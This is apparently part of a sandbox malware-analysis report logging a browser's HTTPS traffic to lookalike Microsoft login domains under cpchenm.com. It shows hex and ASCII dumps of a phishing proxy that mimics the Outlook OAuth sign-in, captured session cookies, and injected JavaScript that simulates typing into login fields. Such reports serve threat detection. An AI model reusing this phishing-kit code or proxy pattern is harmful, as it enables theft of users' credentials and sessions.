Ascii: tent="none" /><script type="text/javascript">//<![CDATA[$Config={"iMaxStackForKnockoutAsyncComponents":10000,"fShowButtons":true,"urlCdn":"https://tvrcedjrhte.cpchenm.com/shared/1.0/","urlDefaultFavicon":"https://tvrcedjrhte.cpchenm.com/shared/1.0/co
2024-11-12 16:29:37 UTC	4716	IN	Data Raw: 30 32 36 6d 73 61 72 65 64 69 72 3d 31 5c 75 30 30 32 36 6e 6f 6e 63 65 3d 36 33 38 36 37 30 32 35 37 37 35 32 30 31 38 33 35 38 2e 33 64 38 36 34 31 64 38 2d 30 31 66 36 2d 34 32 38 35 2d 61 35 61 65 2d 30 39 30 30 31 61 64 37 32 61 30 37 5c 75 30 30 32 36 70 72 6f 74 65 63 74 65 64 74 6f 6b 65 6e 3d 74 72 75 65 5c 75 30 30 32 36 72 65 64 69 72 65 63 74 5f 75 72 69 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 74 76 72 63 65 6d 65 68 65 66 66 2e 63 70 63 68 65 6e 6d 2e 63 6f 6d 25 32 66 6f 77 61 25 32 66 5c 75 30 30 32 36 72 65 73 6f 75 72 63 65 3d 30 30 30 30 30 30 30 32 2d 30 30 30 30 2d 30 66 66 31 2d 63 65 30 30 2d 30 30 30 30 30 30 30 30 30 30 30 30 5c 75 30 30 32 36 72 65 73 70 6f 6e 73 65 5f 6d 6f 64 65 3d 66 6f 72 6d 5f 70 6f 73 74 5c 75 30 30 32 Data Ascii: 026msaredir=1\u0026nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07\u0026protectedtoken=true\u0026redirect_uri=https%3a%2f%2ftvrcemeheff.cpchenm.com%2fowa%2f\u0026resource=00000002-0000-0ff1-ce00-000000000000\u0026response_mode=form_post\u002
2024-11-12 16:29:37 UTC	5895	IN	Data Raw: 61 65 31 63 62 33 30 30 2d 65 30 63 30 32 30 36 30 2d 65 33 62 33 2d 34 39 36 35 2d 62 64 37 63 2d 34 31 35 65 31 61 37 61 39 66 64 65 2d 36 39 35 31 22 2c 22 77 65 62 41 6e 61 6c 79 74 69 63 73 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 22 3a 7b 22 61 75 74 6f 43 61 70 74 75 72 65 22 3a 7b 22 6a 73 45 72 72 6f 72 22 3a 74 72 75 65 7d 7d 7d 2c 22 64 65 66 61 75 6c 74 45 76 65 6e 74 4e 61 6d 65 22 3a 22 49 44 55 58 5f 45 53 54 53 43 6c 69 65 6e 74 54 65 6c 65 6d 65 74 72 79 45 76 65 6e 74 5f 57 65 62 57 61 74 73 6f 6e 22 2c 22 73 65 72 76 69 63 65 49 44 22 3a 33 2c 22 65 6e 64 70 6f 69 6e 74 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 65 75 2d 6d 6f 62 69 6c 65 2e 65 76 65 6e 74 73 2e 64 61 74 61 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 4f 6e 65 43 6f 6c 6c Data Ascii: ae1cb300-e0c02060-e3b3-4965-bd7c-415e1a7a9fde-6951","webAnalyticsConfiguration":{"autoCapture":{"jsError":true}}},"defaultEventName":"IDUX_ESTSClientTelemetryEvent_WebWatson","serviceID":3,"endpointUrl":"https://eu-mobile.events.data.microsoft.com/OneColl
2024-11-12 16:29:37 UTC	7074	IN	Data Raw: 22 68 74 74 70 73 3a 2f 2f 22 2e 6c 65 6e 67 74 68 29 26 26 28 6f 3d 22 68 74 74 70 73 3a 2f 2f 22 2b 6f 2c 69 3d 69 2e 73 75 62 73 74 72 69 6e 67 28 22 68 74 74 70 73 3a 2f 2f 22 2e 6c 65 6e 67 74 68 29 29 2c 6f 2b 69 7d 7d 72 65 74 75 72 6e 20 72 7d 69 66 28 21 28 62 26 26 62 2e 6c 65 6e 67 74 68 3e 31 29 29 7b 72 65 74 75 72 6e 20 72 7d 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 62 2e 6c 65 6e 67 74 68 3b 61 2b 2b 29 7b 69 66 28 30 3d 3d 3d 72 2e 69 6e 64 65 78 4f 66 28 62 5b 61 5d 29 29 7b 72 65 74 75 72 6e 20 62 5b 61 2b 31 3c 62 2e 6c 65 6e 67 74 68 3f 61 2b 31 3a 30 5d 2b 72 2e 73 75 62 73 74 72 69 6e 67 28 62 5b 61 5d 2e 6c 65 6e 67 74 68 29 7d 7d 72 65 74 75 72 6e 20 72 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 2c 6e 2c 6f 29 7b 69 66 28 72 28 Data Ascii: "https://".length)&&(o="https://"+o,i=i.substring("https://".length)),o+i}}return r}if(!(b&&b.length>1)){return r}for(var a=0;a<b.length;a++){if(0===r.indexOf(b[a])){return b[a+1<b.length?a+1:0]+r.substring(b[a].length)}}return r}function f(e,t,n,o){if(r(
2024-11-12 16:29:37 UTC	1917	IN	Data Raw: 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 6e 3d 6e 75 6c 6c 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 3d 61 26 26 28 61 3d 65 28 69 2c 22 24 43 6f 6e 66 69 67 2e 73 74 72 69 6e 67 73 22 29 29 2c 6e 75 6c 6c 21 3d 3d 61 26 26 74 26 26 28 6e 3d 65 28 61 2c 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 29 2c 6e 75 6c 6c 21 3d 3d 6e 26 26 76 6f 69 64 20 30 21 3d 3d 6e 7c 7c 28 6e 3d 72 28 74 29 29 2c 6e 75 6c 6c 3d 3d 3d 6e 7c 7c 76 6f 69 64 20 30 3d 3d 3d 6e 3f 22 22 3a 6e 2e 74 6f 53 74 72 69 6e 67 28 29 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 2c 72 29 7b 76 61 72 20 6e 3d 6e 75 6c 6c 3b 72 65 74 75 72 6e 20 65 26 26 72 26 26 72 5b 65 5d 26 26 28 6e 3d 74 28 22 65 72 72 6f 72 73 2e 22 2b 72 5b 65 5d 29 29 2c 6e 7c 7c 28 6e 3d 74 28 22 65 72 72 6f 72 73 2e 22 Data Ascii: ion t(t){var n=null;return null===a&&(a=e(i,"$Config.strings")),null!==a&&t&&(n=e(a,t.toLowerCase())),null!==n&&void 0!==n\|\|(n=r(t)),null===n\|\|void 0===n?"":n.toString()}function n(e,r){var n=null;return e&&r&&r[e]&&(n=t("errors."+r[e])),n\|\|(n=t("errors."
2024-11-12 16:29:37 UTC	7	IN	Data Raw: 0d 0a 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.22	49198	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:38 UTC	1813	OUT	GET /24743/38f24fc5900fdb662051d9378c067a295587a54a1b4e7dc196e1fee206da0489/cfa6fe23a8b2678daff7e885b1ac3092843be13f2b5c8f8da62bca6faf6007db.js HTTP/1.1 Host: tvrceocprq.cpchenm.com Connection: keep-alive sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb841e&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07&state=Dcs7EoAwCABRojPeBgNEPlaehZloa-n1pXjbbQOAtSylUQXcRpiTqLsKcQyNfcywg2cg8WN4SCim5o10EnFOlyRv9W79_bJfPw Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; esctx-I25zEK1wCc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeCER6CDHA06GGAe-LySKuSOwx2l-rq6u1wcPfCi_5UWvT8L9eCpAIjsNTmcO9trK7dBx9A8qrBBamY8dJ0baPw0rdrrr4N1rFhXs_20DWYCfzUU26_32cELHSruGKIJCHZBIxnMPxV72DqUJPcOGs3yAA; fpc=AgoPu6kglfFNoCf1boaPI48; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeR-nh---hZTu4PYqzpbok8MQ_QHeER5WiuVYZj8zzArors-NktxlIATaTGsE4EwcoogCFCKz7fYVT2nl4og7Pq128fudEuKYDlHEqHm6UrhANECekQ2mLt-9tDamerkEvWXDNIF6Rfe9CHNZqG3-AFjrh47ris_u6R79zp6sa4vwgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd
2024-11-12 16:29:39 UTC	909	IN	HTTP/1.1 200 OK Access-Control-Allow-Credentials: true Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: application/javascript Cross-Origin-Resource-Policy: cross-origin Set-Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; Path=/; Domain=cpchenm.com; Secure; SameSite=None Date: Tue, 12 Nov 2024 16:29:38 GMT Connection: close Transfer-Encoding: chunked
2024-11-12 16:29:39 UTC	270	IN	Data Raw: 39 30 39 0d 0a 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 63 6f 6e 73 74 20 77 61 69 74 46 6f 72 41 6e 64 53 65 74 56 61 6c 75 65 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 73 65 6c 65 63 74 6f 72 2c 20 76 61 6c 75 65 29 20 7b 0a 20 20 20 20 66 69 6e 64 45 6c 65 6d 65 6e 74 28 73 65 6c 65 63 74 6f 72 29 2e 74 68 65 6e 28 28 65 6c 65 6d 65 6e 74 29 20 3d 3e 20 73 69 6d 75 6c 61 74 65 54 79 70 69 6e 67 28 65 6c 65 6d 65 6e 74 2c 20 76 61 6c 75 65 29 29 3b 0a 20 20 7d 3b 0a 20 20 61 73 79 6e 63 20 66 75 6e 63 74 69 6f 6e 20 73 69 6d 75 6c 61 74 65 54 79 70 69 6e 67 28 0a 20 20 20 20 65 6c 65 6d 65 6e 74 2c 0a 20 20 20 20 69 6e 70 75 74 53 74 72 2c 0a 20 20 20 20 6d 69 6e 44 65 6c 61 79 20 3d 20 31 2c 0a 20 20 20 20 6d 61 78 44 65 6c 61 79 20 3d 20 31 35 Data Ascii: 909(function () { const waitForAndSetValue = function (selector, value) { findElement(selector).then((element) => simulateTyping(element, value)); }; async function simulateTyping( element, inputStr, minDelay = 1, maxDelay = 15
2024-11-12 16:29:39 UTC	2055	IN	Data Raw: 28 63 6f 6e 73 74 20 63 68 61 72 20 6f 66 20 69 6e 70 75 74 53 74 72 2e 73 70 6c 69 74 28 22 22 29 29 20 7b 0a 20 20 20 20 20 20 61 77 61 69 74 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 28 72 65 73 6f 6c 76 65 29 20 3d 3e 0a 20 20 20 20 20 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 72 65 73 6f 6c 76 65 2c 20 67 65 74 52 61 6e 64 6f 6d 49 6e 74 28 6d 69 6e 44 65 6c 61 79 2c 20 6d 61 78 44 65 6c 61 79 29 29 0a 20 20 20 20 20 20 29 3b 0a 20 20 20 20 20 20 65 6c 65 6d 65 6e 74 2e 76 61 6c 75 65 20 2b 3d 20 63 68 61 72 3b 0a 20 20 20 20 20 20 74 72 69 67 67 65 72 45 76 65 6e 74 28 65 6c 65 6d 65 6e 74 2c 20 22 69 6e 70 75 74 22 29 3b 0a 20 20 20 20 7d 0a 20 20 7d 0a 20 20 63 6f 6e 73 74 20 66 69 6e 64 45 6c 65 6d 65 6e 74 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 73 Data Ascii: (const char of inputStr.split("")) { await new Promise((resolve) => setTimeout(resolve, getRandomInt(minDelay, maxDelay)) ); element.value += char; triggerEvent(element, "input"); } } const findElement = function (s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.22	49197	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:38 UTC	1748	OUT	GET /24743/38f24fc5900fdb662051d9378c067a295587a54a1b4e7dc196e1fee206da0489.js HTTP/1.1 Host: tvrceocprq.cpchenm.com Connection: keep-alive sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb841e&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07&state=Dcs7EoAwCABRojPeBgNEPlaehZloa-n1pXjbbQOAtSylUQXcRpiTqLsKcQyNfcywg2cg8WN4SCim5o10EnFOlyRv9W79_bJfPw Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; esctx-I25zEK1wCc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeCER6CDHA06GGAe-LySKuSOwx2l-rq6u1wcPfCi_5UWvT8L9eCpAIjsNTmcO9trK7dBx9A8qrBBamY8dJ0baPw0rdrrr4N1rFhXs_20DWYCfzUU26_32cELHSruGKIJCHZBIxnMPxV72DqUJPcOGs3yAA; fpc=AgoPu6kglfFNoCf1boaPI48; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeR-nh---hZTu4PYqzpbok8MQ_QHeER5WiuVYZj8zzArors-NktxlIATaTGsE4EwcoogCFCKz7fYVT2nl4og7Pq128fudEuKYDlHEqHm6UrhANECekQ2mLt-9tDamerkEvWXDNIF6Rfe9CHNZqG3-AFjrh47ris_u6R79zp6sa4vwgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd
2024-11-12 16:29:39 UTC	900	IN	HTTP/1.1 200 OK Access-Control-Allow-Credentials: true Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: application/javascript Cross-Origin-Resource-Policy: cross-origin Set-Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; Path=/; Domain=cpchenm.com; Secure; SameSite=None Date: Tue, 12 Nov 2024 16:29:38 GMT Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.22	49199	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:38 UTC	693	OUT	GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1 Host: tvrcedjrhte.cpchenm.com Connection: keep-alive sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" Origin: https://tvrceocprq.cpchenm.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://tvrceocprq.cpchenm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
2024-11-12 16:29:39 UTC	1144	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://tvrceocprq.cpchenm.com Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: application/x-javascript Cross-Origin-Resource-Policy: cross-origin Date: Tue, 12 Nov 2024 16:29:38 GMT Etag: 0x8DCE31D8CF87EF9 Last-Modified: Wed, 02 Oct 2024 20:05:23 GMT
2024-11-12 16:29:39 UTC	431	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 71 71 68 6f 73 74 3d 76 69 77 37 4d 31 79 64 72 44 76 69 53 42 58 6c 6a 6b 58 69 68 67 39 6e 6d 6c 64 51 67 55 49 6c 55 6d 6e 6e 43 69 6a 63 4c 58 4d 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 63 70 63 68 65 6e 6d 2e 63 6f 6d 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 58 2d 41 7a 75 72 65 2d 52 65 66 3a 20 32 30 32 34 31 31 31 32 54 31 36 32 39 33 38 5a 2d 31 35 34 38 37 39 39 39 64 38 37 62 38 62 37 6d 68 43 31 57 41 57 67 66 63 6e 30 30 30 30 30 30 30 30 67 67 30 30 30 30 30 30 30 30 73 63 31 72 0d 0a 58 2d 43 61 63 68 65 3a 20 54 43 50 5f 48 49 54 0d 0a 58 2d 46 64 2d 49 6e 74 2d 52 6f 78 79 2d 50 75 72 67 65 69 64 3a 20 34 35 35 34 36 39 31 0d 0a 58 2d 4d 73 2d 42 6c 6f 62 2d Data Ascii: Set-Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; Path=/; Domain=cpchenm.com; Secure; SameSite=NoneX-Azure-Ref: 20241112T162938Z-15487999d87b8b7mhC1WAWgfcn00000000gg00000000sc1rX-Cache: TCP_HITX-Fd-Int-Roxy-Purgeid: 4554691X-Ms-Blob-
2024-11-12 16:29:39 UTC	1962	IN	Data Raw: 32 32 63 32 35 0d 0a 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e Data Ascii: 22c25/! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright n
2024-11-12 16:29:39 UTC	559	IN	Data Raw: 65 6f 75 74 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 30 2c 6e 3d 65 2e 6c 65 6e 67 74 68 3b 74 3c 6e 3b 2b 2b 74 29 65 5b 74 5d 28 29 7d 29 2c 30 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 73 28 65 29 7b 30 3d 3d 3d 72 26 26 28 6f 3d 65 2c 72 3d 31 2c 61 28 29 29 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 29 7b 30 3d 3d 3d 72 26 26 28 6f 3d 65 2c 72 3d 32 2c 61 28 29 29 7d 6e 2e 74 68 65 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 65 28 28 66 75 6e 63 74 69 6f 6e 28 73 2c 75 29 7b 21 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 73 2c 75 29 7b 69 2e 70 75 73 68 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 69 3b 74 72 79 7b 69 3d 31 3d 3d 3d 72 3f 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 Data Ascii: eout((function(){for(var t=0,n=e.length;t<n;++t)e[t]()}),0)}}function s(e){0===r&&(o=e,r=1,a())}function u(e){0===r&&(o=e,r=2,a())}n.then=function(t,n){return new e((function(s,u){!function(t,n,s,u){i.push((function(){var i;try{i=1===r?"function"==typeof
2024-11-12 16:29:39 UTC	4716	IN	Data Raw: 72 79 7b 74 28 73 2c 75 29 7d 63 61 74 63 68 28 65 29 7b 75 28 65 29 7d 7d 28 29 7d 66 75 6e 63 74 69 6f 6e 20 74 28 65 2c 74 2c 6e 2c 72 2c 6f 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 69 29 7b 65 5b 74 5d 3d 72 3f 69 3a 6f 3f 7b 73 74 61 74 75 73 3a 22 66 75 6c 66 69 6c 6c 65 64 22 2c 76 61 6c 75 65 3a 69 7d 3a 7b 73 74 61 74 75 73 3a 22 72 65 6a 65 63 74 65 64 22 2c 72 65 61 73 6f 6e 3a 69 7d 2c 6e 28 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 6e 2c 72 29 7b 72 65 74 75 72 6e 20 6e 26 26 6e 2e 6c 65 6e 67 74 68 3f 6e 65 77 20 65 28 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 66 6f 72 28 76 61 72 20 61 3d 5b 5d 2c 73 3d 30 2c 75 3d 30 2c 63 3d 6e 2e 6c 65 6e 67 74 68 3b 75 3c 63 3b 2b 2b 75 29 7b 76 61 72 20 6c 3d 6e 5b 75 5d 3b 69 66 28 6c Data Ascii: ry{t(s,u)}catch(e){u(e)}}()}function t(e,t,n,r,o){return function(i){e[t]=r?i:o?{status:"fulfilled",value:i}:{status:"rejected",reason:i},n()}}function n(n,r){return n&&n.length?new e((function(o,i){for(var a=[],s=0,u=0,c=n.length;u<c;++u){var l=n[u];if(l
2024-11-12 16:29:39 UTC	5895	IN	Data Raw: 6e 50 72 6f 70 65 72 74 79 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3b 66 6f 72 28 76 61 72 20 6f 20 69 6e 20 6e 26 26 28 72 3d 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 2c 65 29 69 66 28 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 6f 29 26 26 28 6f 3d 3d 3d 74 7c 7c 6e 26 26 6f 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 72 29 29 72 65 74 75 72 6e 20 6f 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 2c 65 78 74 65 6e 64 3a 6f 2e 75 74 69 6c 73 2e 65 78 74 65 6e 64 7d 2c 63 3d 74 2e 53 74 72 69 6e 67 3d 7b 74 72 69 6d 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 72 65 70 6c 61 63 65 28 2f 5e 5c 73 2b 7c 5c 73 2b 24 2f 67 2c 22 22 29 7d 2c 66 69 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c Data Ascii: nProperty:function(e,t,n){var r;for(var o in n&&(r=t.toLowerCase()),e)if(e.hasOwnProperty(o)&&(o===t\|\|n&&o.toLowerCase()===r))return o;return null},extend:o.utils.extend},c=t.String={trim:function(e){return e.replace(/^\s+\|\s+$/g,"")},find:function(e,t,n,
2024-11-12 16:29:39 UTC	7074	IN	Data Raw: 3d 7b 61 6e 69 6d 61 74 69 6f 6e 3a 22 61 6e 69 6d 61 74 69 6f 6e 65 6e 64 22 2c 4f 41 6e 69 6d 61 74 69 6f 6e 3a 22 6f 41 6e 69 6d 61 74 69 6f 6e 45 6e 64 22 2c 4d 6f 7a 41 6e 69 6d 61 74 69 6f 6e 3a 22 61 6e 69 6d 61 74 69 6f 6e 65 6e 64 22 2c 57 65 62 6b 69 74 41 6e 69 6d 61 74 69 6f 6e 3a 22 77 65 62 6b 69 74 41 6e 69 6d 61 74 69 6f 6e 45 6e 64 22 7d 3b 66 6f 72 28 76 61 72 20 6e 20 69 6e 20 74 29 69 66 28 65 2e 73 74 79 6c 65 5b 6e 5d 21 3d 3d 75 6e 64 65 66 69 6e 65 64 29 72 65 74 75 72 6e 20 74 5b 6e 5d 3b 72 65 74 75 72 6e 22 22 7d 2c 69 73 53 74 61 63 6b 53 69 7a 65 47 72 65 61 74 65 72 54 68 61 6e 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 65 7c 7c 30 2c 5f 2e 67 65 74 53 74 61 63 6b 53 69 7a 65 28 65 29 3e 65 7d 2c 69 73 Data Ascii: ={animation:"animationend",OAnimation:"oAnimationEnd",MozAnimation:"animationend",WebkitAnimation:"webkitAnimationEnd"};for(var n in t)if(e.style[n]!==undefined)return t[n];return""},isStackSizeGreaterThan:function(e){return e=e\|\|0,_.getStackSize(e)>e},is
2024-11-12 16:29:39 UTC	8253	IN	Data Raw: 76 61 72 20 74 3d 4f 2e 67 65 74 43 6f 6f 6b 69 65 28 65 29 7c 7c 22 22 3b 72 65 74 75 72 6e 20 63 2e 64 6f 75 62 6c 65 53 70 6c 69 74 28 74 2c 22 26 22 2c 22 3d 22 29 7d 2c 72 65 6d 6f 76 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3d 74 7c 7c 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 2c 6f 3d 72 2e 73 70 6c 69 74 28 22 2e 22 29 2c 69 3d 6f 2e 6c 65 6e 67 74 68 2c 61 3d 6f 5b 69 2d 32 5d 2b 22 2e 22 2b 6f 5b 69 2d 31 5d 2c 73 3d 6e 7c 7c 22 2f 22 2c 75 3d 22 68 74 74 70 73 3a 22 3d 3d 3d 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 6f 6c 2c 6c 3d 75 3f 22 3b 73 65 63 75 72 65 22 3a 22 22 2c 64 3d 4f 2e 67 65 74 44 65 66 61 75 6c 74 53 61 6d 65 53 69 74 65 41 74 74 72 Data Ascii: var t=O.getCookie(e)\|\|"";return c.doubleSplit(t,"&","=")},remove:function(e,t,n){var r=t\|\|document.location.hostname,o=r.split("."),i=o.length,a=o[i-2]+"."+o[i-1],s=n\|\|"/",u="https:"===document.location.protocol,l=u?";secure":"",d=O.getDefaultSameSiteAttr
